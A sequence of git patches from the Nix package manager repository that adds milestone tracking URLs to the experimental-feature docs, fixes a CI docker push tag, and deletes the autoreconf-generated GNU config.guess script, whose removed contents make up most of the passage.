[`nix`](@docroot@/command-ref/new-cli/nix.md) for details. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/28", }, { .tag = Xp::GitHashing, @@ -102,6 +109,7 @@ constexpr std::array xpFeatureDetails Allow creating (content-addressed) store objects which are hashed via Git's hashing algorithm. These store objects will not be understandable by older versions of Nix. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/41", }, { .tag = Xp::RecursiveNix, @@ -143,6 +151,7 @@ constexpr std::array xpFeatureDetails already in the build inputs or built by a previous recursive Nix call. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/47", }, { .tag = Xp::NoUrlLiterals, @@ -184,6 +193,7 @@ constexpr std::array xpFeatureDetails containing parameters have to be quoted anyway, and unquoted URLs may confuse external tooling. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/44", }, { .tag = Xp::FetchClosure, @@ -191,6 +201,7 @@ constexpr std::array xpFeatureDetails .description = R"( Enable the use of the [`fetchClosure`](@docroot@/language/builtins.md#builtins-fetchClosure) built-in function in the Nix language. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/40", }, { .tag = Xp::ReplFlake, @@ -200,6 +211,7 @@ constexpr std::array xpFeatureDetails Allow passing [installables](@docroot@/command-ref/new-cli/nix.md#installables) to `nix repl`, making its interface consistent with the other experimental commands. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/32", }, { .tag = Xp::AutoAllocateUids, @@ -208,6 +220,7 @@ constexpr std::array xpFeatureDetails Allows Nix to automatically pick UIDs for builds, rather than creating `nixbld*` user accounts. See the [`auto-allocate-uids`](@docroot@/command-ref/conf-file.md#conf-auto-allocate-uids) setting for details. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/34", }, { .tag = Xp::Cgroups, @@ -216,6 +229,7 @@ constexpr std::array xpFeatureDetails Allows Nix to execute builds inside cgroups. See the [`use-cgroups`](@docroot@/command-ref/conf-file.md#conf-use-cgroups) setting for details. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/36", }, { .tag = Xp::DaemonTrustOverride, @@ -226,6 +240,7 @@ constexpr std::array xpFeatureDetails useful for various experiments with `nix-daemon --stdio` networking. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/38", }, { .tag = Xp::DynamicDerivations, @@ -239,6 +254,7 @@ constexpr std::array xpFeatureDetails - dependencies in derivations on the outputs of derivations that are themselves derivations outputs. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/39", }, { .tag = Xp::ParseTomlTimestamps, @@ -246,6 +262,7 @@ constexpr std::array xpFeatureDetails .description = R"( Allow parsing of timestamps in builtins.fromTOML. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/45", }, { .tag = Xp::ReadOnlyLocalStore, @@ -253,6 +270,7 @@ constexpr std::array xpFeatureDetails .description = R"( Allow the use of the `read-only` parameter in [local store](@docroot@/store/types/local-store.md) URIs. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/46", }, { .tag = Xp::ConfigurableImpureEnv, @@ -260,6 +278,7 @@ constexpr std::array xpFeatureDetails .description = R"( Allow the use of the [impure-env](@docroot@/command-ref/conf-file.md#conf-impure-env) setting. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/37", }, { .tag = Xp::MountedSSHStore, @@ -267,6 +286,7 @@ constexpr std::array xpFeatureDetails .description = R"( Allow the use of the [`mounted SSH store`](@docroot@/command-ref/new-cli/nix3-help-stores.html#experimental-ssh-store-with-filesytem-mounted). )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/43", }, { .tag = Xp::VerifiedFetches, @@ -274,6 +294,7 @@ constexpr std::array xpFeatureDetails .description = R"( Enables verification of git commit signatures through the [`fetchGit`](@docroot@/language/builtins.md#builtins-fetchGit) built-in. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/48", }, }}; @@ -312,9 +333,12 @@ std::string_view showExperimentalFeature(const ExperimentalFeature tag) nlohmann::json documentExperimentalFeatures() { StringMap res; - for (auto & xpFeature : xpFeatureDetails) - res[std::string { xpFeature.name }] = - trim(stripIndentation(xpFeature.description)); + for (auto & xpFeature : xpFeatureDetails) { + std::stringstream docOss; + docOss << stripIndentation(xpFeature.description); + docOss << fmt("\nRefer to [%1% tracking issue](%2%) for feature tracking.", xpFeature.name, xpFeature.trackingUrl); + res[std::string{xpFeature.name}] = trim(docOss.str()); + } return (nlohmann::json) res; } From 089d91ed4c298f4757ce61c558cc3b2604435ff0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Sat, 2 Mar 2024 09:00:42 +0100 Subject: [PATCH 0158/1251] Fix the docker push job After https://github.com/NixOS/nix/pull/10071, the CI was trying to push ghcr.io/nixos/nix:master for backwards-compatibility, but the image was not tagged as such, causing the job to fail. Fix this. --- .github/workflows/ci.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2aa3a3300..620a84b79 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -157,4 +157,5 @@ jobs: docker push $IMAGE_ID:$NIX_VERSION docker push $IMAGE_ID:latest # deprecated 2024-02-24 + docker tag nix:$NIX_VERSION $IMAGE_ID:master docker push $IMAGE_ID:master From f8dc9bc563c66c852452dd9a22c12c9bec35c309 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Sat, 2 Mar 2024 10:17:55 +0100 Subject: [PATCH 0159/1251] Remove and gitignore the autoreconf generated files No need to have them checked-in since we require running `autoreconf` when building, and these are regenerated by the `autoreconf` script. --- .gitignore | 1 + config/config.guess | 1700 --------------------------------------- config/config.sub | 1860 ------------------------------------------- 3 files changed, 1 insertion(+), 3560 deletions(-) delete mode 100755 config/config.guess delete mode 100755 config/config.sub diff --git a/.gitignore b/.gitignore index 5c1136823..7bf77adf4 100644 --- a/.gitignore +++ b/.gitignore @@ -10,6 +10,7 @@ perl/Makefile.config /stamp-h1 /svn-revision /libtool +/config/config.* # /doc/manual/ /doc/manual/*.1 diff --git a/config/config.guess b/config/config.guess deleted file mode 100755 index 1972fda8e..000000000 --- a/config/config.guess +++ /dev/null @@ -1,1700 +0,0 @@ -#! /bin/sh -# Attempt to guess a canonical system name. -# Copyright 1992-2021 Free Software Foundation, Inc. - -timestamp='2021-01-25' - -# This file is free software; you can redistribute it and/or modify it -# under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, see . -# -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that -# program. This Exception is an additional permission under section 7 -# of the GNU General Public License, version 3 ("GPLv3"). -# -# Originally written by Per Bothner; maintained since 2000 by Ben Elliston. -# -# You can get the latest version of this script from: -# https://git.savannah.gnu.org/cgit/config.git/plain/config.guess -# -# Please send patches to . - - -me=$(echo "$0" | sed -e 's,.*/,,') - -usage="\ -Usage: $0 [OPTION] - -Output the configuration name of the system \`$me' is run on. - -Options: - -h, --help print this help, then exit - -t, --time-stamp print date of last modification, then exit - -v, --version print version number, then exit - -Report bugs and patches to ." - -version="\ -GNU config.guess ($timestamp) - -Originally written by Per Bothner. -Copyright 1992-2021 Free Software Foundation, Inc. - -This is free software; see the source for copying conditions. There is NO -warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." - -help=" -Try \`$me --help' for more information." - -# Parse command line -while test $# -gt 0 ; do - case $1 in - --time-stamp | --time* | -t ) - echo "$timestamp" ; exit ;; - --version | -v ) - echo "$version" ; exit ;; - --help | --h* | -h ) - echo "$usage"; exit ;; - -- ) # Stop option processing - shift; break ;; - - ) # Use stdin as input. - break ;; - -* ) - echo "$me: invalid option $1$help" >&2 - exit 1 ;; - * ) - break ;; - esac -done - -if test $# != 0; then - echo "$me: too many arguments$help" >&2 - exit 1 -fi - -# CC_FOR_BUILD -- compiler used by this script. Note that the use of a -# compiler to aid in system detection is discouraged as it requires -# temporary files to be created and, as you can see below, it is a -# headache to deal with in a portable fashion. - -# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still -# use `HOST_CC' if defined, but it is deprecated. - -# Portable tmp directory creation inspired by the Autoconf team. - -tmp= -# shellcheck disable=SC2172 -trap 'test -z "$tmp" || rm -fr "$tmp"' 0 1 2 13 15 - -set_cc_for_build() { - # prevent multiple calls if $tmp is already set - test "$tmp" && return 0 - : "${TMPDIR=/tmp}" - # shellcheck disable=SC2039 - { tmp=$( (umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null) && test -n "$tmp" && test -d "$tmp" ; } || - { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir "$tmp" 2>/dev/null) ; } || - { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir "$tmp" 2>/dev/null) && echo "Warning: creating insecure temp directory" >&2 ; } || - { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } - dummy=$tmp/dummy - case ${CC_FOR_BUILD-},${HOST_CC-},${CC-} in - ,,) echo "int x;" > "$dummy.c" - for driver in cc gcc c89 c99 ; do - if ($driver -c -o "$dummy.o" "$dummy.c") >/dev/null 2>&1 ; then - CC_FOR_BUILD="$driver" - break - fi - done - if test x"$CC_FOR_BUILD" = x ; then - CC_FOR_BUILD=no_compiler_found - fi - ;; - ,,*) CC_FOR_BUILD=$CC ;; - ,*,*) CC_FOR_BUILD=$HOST_CC ;; - esac -} - -# This is needed to find uname on a Pyramid OSx when run in the BSD universe. -# (ghazi@noc.rutgers.edu 1994-08-24) -if test -f /.attbin/uname ; then - PATH=$PATH:/.attbin ; export PATH -fi - -UNAME_MACHINE=$( (uname -m) 2>/dev/null) || UNAME_MACHINE=unknown -UNAME_RELEASE=$( (uname -r) 2>/dev/null) || UNAME_RELEASE=unknown -UNAME_SYSTEM=$( (uname -s) 2>/dev/null) || UNAME_SYSTEM=unknown -UNAME_VERSION=$( (uname -v) 2>/dev/null) || UNAME_VERSION=unknown - -case "$UNAME_SYSTEM" in -Linux|GNU|GNU/*) - LIBC=unknown - - set_cc_for_build - cat <<-EOF > "$dummy.c" - #include - #if defined(__UCLIBC__) - LIBC=uclibc - #elif defined(__dietlibc__) - LIBC=dietlibc - #elif defined(__GLIBC__) - LIBC=gnu - #else - #include - /* First heuristic to detect musl libc. */ - #ifdef __DEFINED_va_list - LIBC=musl - #endif - #endif - EOF - eval "$($CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^LIBC' | sed 's, ,,g')" - - # Second heuristic to detect musl libc. - if [ "$LIBC" = unknown ] && - command -v ldd >/dev/null && - ldd --version 2>&1 | grep -q ^musl; then - LIBC=musl - fi - - # If the system lacks a compiler, then just pick glibc. - # We could probably try harder. - if [ "$LIBC" = unknown ]; then - LIBC=gnu - fi - ;; -esac - -# Note: order is significant - the case branches are not exclusive. - -case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in - *:NetBSD:*:*) - # NetBSD (nbsd) targets should (where applicable) match one or - # more of the tuples: *-*-netbsdelf*, *-*-netbsdaout*, - # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently - # switched to ELF, *-*-netbsd* would select the old - # object file format. This provides both forward - # compatibility and a consistent mechanism for selecting the - # object file format. - # - # Note: NetBSD doesn't particularly care about the vendor - # portion of the name. We always set it to "unknown". - UNAME_MACHINE_ARCH=$( (uname -p 2>/dev/null || \ - /sbin/sysctl -n hw.machine_arch 2>/dev/null || \ - /usr/sbin/sysctl -n hw.machine_arch 2>/dev/null || \ - echo unknown)) - case "$UNAME_MACHINE_ARCH" in - aarch64eb) machine=aarch64_be-unknown ;; - armeb) machine=armeb-unknown ;; - arm*) machine=arm-unknown ;; - sh3el) machine=shl-unknown ;; - sh3eb) machine=sh-unknown ;; - sh5el) machine=sh5le-unknown ;; - earmv*) - arch=$(echo "$UNAME_MACHINE_ARCH" | sed -e 's,^e\(armv[0-9]\).*$,\1,') - endian=$(echo "$UNAME_MACHINE_ARCH" | sed -ne 's,^.*\(eb\)$,\1,p') - machine="${arch}${endian}"-unknown - ;; - *) machine="$UNAME_MACHINE_ARCH"-unknown ;; - esac - # The Operating System including object format, if it has switched - # to ELF recently (or will in the future) and ABI. - case "$UNAME_MACHINE_ARCH" in - earm*) - os=netbsdelf - ;; - arm*|i386|m68k|ns32k|sh3*|sparc|vax) - set_cc_for_build - if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ELF__ - then - # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). - # Return netbsd for either. FIX? - os=netbsd - else - os=netbsdelf - fi - ;; - *) - os=netbsd - ;; - esac - # Determine ABI tags. - case "$UNAME_MACHINE_ARCH" in - earm*) - expr='s/^earmv[0-9]/-eabi/;s/eb$//' - abi=$(echo "$UNAME_MACHINE_ARCH" | sed -e "$expr") - ;; - esac - # The OS release - # Debian GNU/NetBSD machines have a different userland, and - # thus, need a distinct triplet. However, they do not need - # kernel version information, so it can be replaced with a - # suitable tag, in the style of linux-gnu. - case "$UNAME_VERSION" in - Debian*) - release='-gnu' - ;; - *) - release=$(echo "$UNAME_RELEASE" | sed -e 's/[-_].*//' | cut -d. -f1,2) - ;; - esac - # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: - # contains redundant information, the shorter form: - # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. - echo "$machine-${os}${release}${abi-}" - exit ;; - *:Bitrig:*:*) - UNAME_MACHINE_ARCH=$(arch | sed 's/Bitrig.//') - echo "$UNAME_MACHINE_ARCH"-unknown-bitrig"$UNAME_RELEASE" - exit ;; - *:OpenBSD:*:*) - UNAME_MACHINE_ARCH=$(arch | sed 's/OpenBSD.//') - echo "$UNAME_MACHINE_ARCH"-unknown-openbsd"$UNAME_RELEASE" - exit ;; - *:LibertyBSD:*:*) - UNAME_MACHINE_ARCH=$(arch | sed 's/^.*BSD\.//') - echo "$UNAME_MACHINE_ARCH"-unknown-libertybsd"$UNAME_RELEASE" - exit ;; - *:MidnightBSD:*:*) - echo "$UNAME_MACHINE"-unknown-midnightbsd"$UNAME_RELEASE" - exit ;; - *:ekkoBSD:*:*) - echo "$UNAME_MACHINE"-unknown-ekkobsd"$UNAME_RELEASE" - exit ;; - *:SolidBSD:*:*) - echo "$UNAME_MACHINE"-unknown-solidbsd"$UNAME_RELEASE" - exit ;; - *:OS108:*:*) - echo "$UNAME_MACHINE"-unknown-os108_"$UNAME_RELEASE" - exit ;; - macppc:MirBSD:*:*) - echo powerpc-unknown-mirbsd"$UNAME_RELEASE" - exit ;; - *:MirBSD:*:*) - echo "$UNAME_MACHINE"-unknown-mirbsd"$UNAME_RELEASE" - exit ;; - *:Sortix:*:*) - echo "$UNAME_MACHINE"-unknown-sortix - exit ;; - *:Twizzler:*:*) - echo "$UNAME_MACHINE"-unknown-twizzler - exit ;; - *:Redox:*:*) - echo "$UNAME_MACHINE"-unknown-redox - exit ;; - mips:OSF1:*.*) - echo mips-dec-osf1 - exit ;; - alpha:OSF1:*:*) - case $UNAME_RELEASE in - *4.0) - UNAME_RELEASE=$(/usr/sbin/sizer -v | awk '{print $3}') - ;; - *5.*) - UNAME_RELEASE=$(/usr/sbin/sizer -v | awk '{print $4}') - ;; - esac - # According to Compaq, /usr/sbin/psrinfo has been available on - # OSF/1 and Tru64 systems produced since 1995. I hope that - # covers most systems running today. This code pipes the CPU - # types through head -n 1, so we only detect the type of CPU 0. - ALPHA_CPU_TYPE=$(/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1) - case "$ALPHA_CPU_TYPE" in - "EV4 (21064)") - UNAME_MACHINE=alpha ;; - "EV4.5 (21064)") - UNAME_MACHINE=alpha ;; - "LCA4 (21066/21068)") - UNAME_MACHINE=alpha ;; - "EV5 (21164)") - UNAME_MACHINE=alphaev5 ;; - "EV5.6 (21164A)") - UNAME_MACHINE=alphaev56 ;; - "EV5.6 (21164PC)") - UNAME_MACHINE=alphapca56 ;; - "EV5.7 (21164PC)") - UNAME_MACHINE=alphapca57 ;; - "EV6 (21264)") - UNAME_MACHINE=alphaev6 ;; - "EV6.7 (21264A)") - UNAME_MACHINE=alphaev67 ;; - "EV6.8CB (21264C)") - UNAME_MACHINE=alphaev68 ;; - "EV6.8AL (21264B)") - UNAME_MACHINE=alphaev68 ;; - "EV6.8CX (21264D)") - UNAME_MACHINE=alphaev68 ;; - "EV6.9A (21264/EV69A)") - UNAME_MACHINE=alphaev69 ;; - "EV7 (21364)") - UNAME_MACHINE=alphaev7 ;; - "EV7.9 (21364A)") - UNAME_MACHINE=alphaev79 ;; - esac - # A Pn.n version is a patched version. - # A Vn.n version is a released version. - # A Tn.n version is a released field test version. - # A Xn.n version is an unreleased experimental baselevel. - # 1.2 uses "1.2" for uname -r. - echo "$UNAME_MACHINE"-dec-osf"$(echo "$UNAME_RELEASE" | sed -e 's/^[PVTX]//' | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz)" - # Reset EXIT trap before exiting to avoid spurious non-zero exit code. - exitcode=$? - trap '' 0 - exit $exitcode ;; - Amiga*:UNIX_System_V:4.0:*) - echo m68k-unknown-sysv4 - exit ;; - *:[Aa]miga[Oo][Ss]:*:*) - echo "$UNAME_MACHINE"-unknown-amigaos - exit ;; - *:[Mm]orph[Oo][Ss]:*:*) - echo "$UNAME_MACHINE"-unknown-morphos - exit ;; - *:OS/390:*:*) - echo i370-ibm-openedition - exit ;; - *:z/VM:*:*) - echo s390-ibm-zvmoe - exit ;; - *:OS400:*:*) - echo powerpc-ibm-os400 - exit ;; - arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) - echo arm-acorn-riscix"$UNAME_RELEASE" - exit ;; - arm*:riscos:*:*|arm*:RISCOS:*:*) - echo arm-unknown-riscos - exit ;; - SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) - echo hppa1.1-hitachi-hiuxmpp - exit ;; - Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) - # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. - if test "$( (/bin/universe) 2>/dev/null)" = att ; then - echo pyramid-pyramid-sysv3 - else - echo pyramid-pyramid-bsd - fi - exit ;; - NILE*:*:*:dcosx) - echo pyramid-pyramid-svr4 - exit ;; - DRS?6000:unix:4.0:6*) - echo sparc-icl-nx6 - exit ;; - DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*) - case $(/usr/bin/uname -p) in - sparc) echo sparc-icl-nx7; exit ;; - esac ;; - s390x:SunOS:*:*) - echo "$UNAME_MACHINE"-ibm-solaris2"$(echo "$UNAME_RELEASE" | sed -e 's/[^.]*//')" - exit ;; - sun4H:SunOS:5.*:*) - echo sparc-hal-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) - echo sparc-sun-solaris2"$(echo "$UNAME_RELEASE" | sed -e 's/[^.]*//')" - exit ;; - i86pc:AuroraUX:5.*:* | i86xen:AuroraUX:5.*:*) - echo i386-pc-auroraux"$UNAME_RELEASE" - exit ;; - i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*) - set_cc_for_build - SUN_ARCH=i386 - # If there is a compiler, see if it is configured for 64-bit objects. - # Note that the Sun cc does not turn __LP64__ into 1 like gcc does. - # This test works for both compilers. - if test "$CC_FOR_BUILD" != no_compiler_found; then - if (echo '#ifdef __amd64'; echo IS_64BIT_ARCH; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_64BIT_ARCH >/dev/null - then - SUN_ARCH=x86_64 - fi - fi - echo "$SUN_ARCH"-pc-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - sun4*:SunOS:6*:*) - # According to config.sub, this is the proper way to canonicalize - # SunOS6. Hard to guess exactly what SunOS6 will be like, but - # it's likely to be more like Solaris than SunOS4. - echo sparc-sun-solaris3"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - sun4*:SunOS:*:*) - case "$(/usr/bin/arch -k)" in - Series*|S4*) - UNAME_RELEASE=$(uname -v) - ;; - esac - # Japanese Language versions have a version number like `4.1.3-JL'. - echo sparc-sun-sunos"$(echo "$UNAME_RELEASE"|sed -e 's/-/_/')" - exit ;; - sun3*:SunOS:*:*) - echo m68k-sun-sunos"$UNAME_RELEASE" - exit ;; - sun*:*:4.2BSD:*) - UNAME_RELEASE=$( (sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null) - test "x$UNAME_RELEASE" = x && UNAME_RELEASE=3 - case "$(/bin/arch)" in - sun3) - echo m68k-sun-sunos"$UNAME_RELEASE" - ;; - sun4) - echo sparc-sun-sunos"$UNAME_RELEASE" - ;; - esac - exit ;; - aushp:SunOS:*:*) - echo sparc-auspex-sunos"$UNAME_RELEASE" - exit ;; - # The situation for MiNT is a little confusing. The machine name - # can be virtually everything (everything which is not - # "atarist" or "atariste" at least should have a processor - # > m68000). The system name ranges from "MiNT" over "FreeMiNT" - # to the lowercase version "mint" (or "freemint"). Finally - # the system name "TOS" denotes a system which is actually not - # MiNT. But MiNT is downward compatible to TOS, so this should - # be no problem. - atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) - echo m68k-atari-mint"$UNAME_RELEASE" - exit ;; - atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) - echo m68k-atari-mint"$UNAME_RELEASE" - exit ;; - *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) - echo m68k-atari-mint"$UNAME_RELEASE" - exit ;; - milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) - echo m68k-milan-mint"$UNAME_RELEASE" - exit ;; - hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) - echo m68k-hades-mint"$UNAME_RELEASE" - exit ;; - *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) - echo m68k-unknown-mint"$UNAME_RELEASE" - exit ;; - m68k:machten:*:*) - echo m68k-apple-machten"$UNAME_RELEASE" - exit ;; - powerpc:machten:*:*) - echo powerpc-apple-machten"$UNAME_RELEASE" - exit ;; - RISC*:Mach:*:*) - echo mips-dec-mach_bsd4.3 - exit ;; - RISC*:ULTRIX:*:*) - echo mips-dec-ultrix"$UNAME_RELEASE" - exit ;; - VAX*:ULTRIX*:*:*) - echo vax-dec-ultrix"$UNAME_RELEASE" - exit ;; - 2020:CLIX:*:* | 2430:CLIX:*:*) - echo clipper-intergraph-clix"$UNAME_RELEASE" - exit ;; - mips:*:*:UMIPS | mips:*:*:RISCos) - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" -#ifdef __cplusplus -#include /* for printf() prototype */ - int main (int argc, char *argv[]) { -#else - int main (argc, argv) int argc; char *argv[]; { -#endif - #if defined (host_mips) && defined (MIPSEB) - #if defined (SYSTYPE_SYSV) - printf ("mips-mips-riscos%ssysv\\n", argv[1]); exit (0); - #endif - #if defined (SYSTYPE_SVR4) - printf ("mips-mips-riscos%ssvr4\\n", argv[1]); exit (0); - #endif - #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) - printf ("mips-mips-riscos%sbsd\\n", argv[1]); exit (0); - #endif - #endif - exit (-1); - } -EOF - $CC_FOR_BUILD -o "$dummy" "$dummy.c" && - dummyarg=$(echo "$UNAME_RELEASE" | sed -n 's/\([0-9]*\).*/\1/p') && - SYSTEM_NAME=$("$dummy" "$dummyarg") && - { echo "$SYSTEM_NAME"; exit; } - echo mips-mips-riscos"$UNAME_RELEASE" - exit ;; - Motorola:PowerMAX_OS:*:*) - echo powerpc-motorola-powermax - exit ;; - Motorola:*:4.3:PL8-*) - echo powerpc-harris-powermax - exit ;; - Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) - echo powerpc-harris-powermax - exit ;; - Night_Hawk:Power_UNIX:*:*) - echo powerpc-harris-powerunix - exit ;; - m88k:CX/UX:7*:*) - echo m88k-harris-cxux7 - exit ;; - m88k:*:4*:R4*) - echo m88k-motorola-sysv4 - exit ;; - m88k:*:3*:R3*) - echo m88k-motorola-sysv3 - exit ;; - AViiON:dgux:*:*) - # DG/UX returns AViiON for all architectures - UNAME_PROCESSOR=$(/usr/bin/uname -p) - if test "$UNAME_PROCESSOR" = mc88100 || test "$UNAME_PROCESSOR" = mc88110 - then - if test "$TARGET_BINARY_INTERFACE"x = m88kdguxelfx || \ - test "$TARGET_BINARY_INTERFACE"x = x - then - echo m88k-dg-dgux"$UNAME_RELEASE" - else - echo m88k-dg-dguxbcs"$UNAME_RELEASE" - fi - else - echo i586-dg-dgux"$UNAME_RELEASE" - fi - exit ;; - M88*:DolphinOS:*:*) # DolphinOS (SVR3) - echo m88k-dolphin-sysv3 - exit ;; - M88*:*:R3*:*) - # Delta 88k system running SVR3 - echo m88k-motorola-sysv3 - exit ;; - XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) - echo m88k-tektronix-sysv3 - exit ;; - Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) - echo m68k-tektronix-bsd - exit ;; - *:IRIX*:*:*) - echo mips-sgi-irix"$(echo "$UNAME_RELEASE"|sed -e 's/-/_/g')" - exit ;; - ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. - echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id - exit ;; # Note that: echo "'$(uname -s)'" gives 'AIX ' - i*86:AIX:*:*) - echo i386-ibm-aix - exit ;; - ia64:AIX:*:*) - if test -x /usr/bin/oslevel ; then - IBM_REV=$(/usr/bin/oslevel) - else - IBM_REV="$UNAME_VERSION.$UNAME_RELEASE" - fi - echo "$UNAME_MACHINE"-ibm-aix"$IBM_REV" - exit ;; - *:AIX:2:3) - if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" - #include - - main() - { - if (!__power_pc()) - exit(1); - puts("powerpc-ibm-aix3.2.5"); - exit(0); - } -EOF - if $CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=$("$dummy") - then - echo "$SYSTEM_NAME" - else - echo rs6000-ibm-aix3.2.5 - fi - elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then - echo rs6000-ibm-aix3.2.4 - else - echo rs6000-ibm-aix3.2 - fi - exit ;; - *:AIX:*:[4567]) - IBM_CPU_ID=$(/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }') - if /usr/sbin/lsattr -El "$IBM_CPU_ID" | grep ' POWER' >/dev/null 2>&1; then - IBM_ARCH=rs6000 - else - IBM_ARCH=powerpc - fi - if test -x /usr/bin/lslpp ; then - IBM_REV=$(/usr/bin/lslpp -Lqc bos.rte.libc | - awk -F: '{ print $3 }' | sed s/[0-9]*$/0/) - else - IBM_REV="$UNAME_VERSION.$UNAME_RELEASE" - fi - echo "$IBM_ARCH"-ibm-aix"$IBM_REV" - exit ;; - *:AIX:*:*) - echo rs6000-ibm-aix - exit ;; - ibmrt:4.4BSD:*|romp-ibm:4.4BSD:*) - echo romp-ibm-bsd4.4 - exit ;; - ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and - echo romp-ibm-bsd"$UNAME_RELEASE" # 4.3 with uname added to - exit ;; # report: romp-ibm BSD 4.3 - *:BOSX:*:*) - echo rs6000-bull-bosx - exit ;; - DPX/2?00:B.O.S.:*:*) - echo m68k-bull-sysv3 - exit ;; - 9000/[34]??:4.3bsd:1.*:*) - echo m68k-hp-bsd - exit ;; - hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) - echo m68k-hp-bsd4.4 - exit ;; - 9000/[34678]??:HP-UX:*:*) - HPUX_REV=$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*.[0B]*//') - case "$UNAME_MACHINE" in - 9000/31?) HP_ARCH=m68000 ;; - 9000/[34]??) HP_ARCH=m68k ;; - 9000/[678][0-9][0-9]) - if test -x /usr/bin/getconf; then - sc_cpu_version=$(/usr/bin/getconf SC_CPU_VERSION 2>/dev/null) - sc_kernel_bits=$(/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null) - case "$sc_cpu_version" in - 523) HP_ARCH=hppa1.0 ;; # CPU_PA_RISC1_0 - 528) HP_ARCH=hppa1.1 ;; # CPU_PA_RISC1_1 - 532) # CPU_PA_RISC2_0 - case "$sc_kernel_bits" in - 32) HP_ARCH=hppa2.0n ;; - 64) HP_ARCH=hppa2.0w ;; - '') HP_ARCH=hppa2.0 ;; # HP-UX 10.20 - esac ;; - esac - fi - if test "$HP_ARCH" = ""; then - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" - - #define _HPUX_SOURCE - #include - #include - - int main () - { - #if defined(_SC_KERNEL_BITS) - long bits = sysconf(_SC_KERNEL_BITS); - #endif - long cpu = sysconf (_SC_CPU_VERSION); - - switch (cpu) - { - case CPU_PA_RISC1_0: puts ("hppa1.0"); break; - case 